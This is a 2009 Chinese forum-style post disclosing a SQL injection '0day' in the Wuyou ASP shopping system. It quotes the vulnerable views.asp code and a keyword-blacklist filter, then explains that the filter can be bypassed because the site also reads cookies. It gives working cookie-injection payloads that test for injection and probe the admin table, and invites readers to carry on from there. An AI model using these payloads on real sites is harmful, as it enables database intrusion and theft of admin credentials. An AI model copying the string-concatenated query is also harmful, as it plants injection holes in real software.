首页 网络安全 安全学院 查看内容

无忧购物系统oday发布

2009-7-9 09:49 855 0

摘要:   Set Conn = Nothing  Response.Write "数据库连接出错"  Response.End  End If  %><!--#include file="sql...
关键词: Request Fy LCase Instr Response Cs 代码 部分 select update

  Set Conn = Nothing  Response.Write "数据库连接出错"  Response.End  End If  %><!--#include file="sqlcheck.asp"-->   翻开了sqlcheck.asp,部分代码如下:   For Fy_x=0 to ubound(Fy_Cs)  If Fy_Cs(Fy_x)<>"" Then  If Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then  response.Write "<script language='javascript'>alert('出现错误,请勿尝试类似操作!');history.go(-1);</script>"  Response.End   过滤得还真不少~ '|and|select|update|mid|....等等等等   - -   但问题不是很大的说~~ 先贴上一处吧,views.asp 部分代码如下:   <%hw_id=Request("hw_id")  sql="select * from hw where hw_id="&hw_id&""  rs.open sql,conn,3,3  if rs.eof then%><tr><td height="200" colspan="3" align="center"& gt;没有找到你要查看的商品,您可以<a href="search.asp"><font color="#FF0000"& gt;点击这里进行详细搜索</font></a>!</td></tr>  <%else  rs("hw_views")=rs("hw_views")+1  rs.update  可以看到,hw_id=Request("hw_id"),呵,如果管理员直接:  hw_id=Requet(Replace("hw_id","'",""))   或 hw_id=Requet(Replace("hw_id","'",""")) 下 或许我还难办点~~   (Ps:哎,自从国内推出了防注射代码后,程序员们都变懒了~~~)  request集合中包含了cookie,所以 无论他的防注射代码多么的BT,咱们都可以忽略了:)   测试代码如下:  http://www.xxx.com/views.asp?hw_id=503  清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))  javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))  直接判断出存在注入了  javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))  OK,大伙自己发挥去吧~~
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部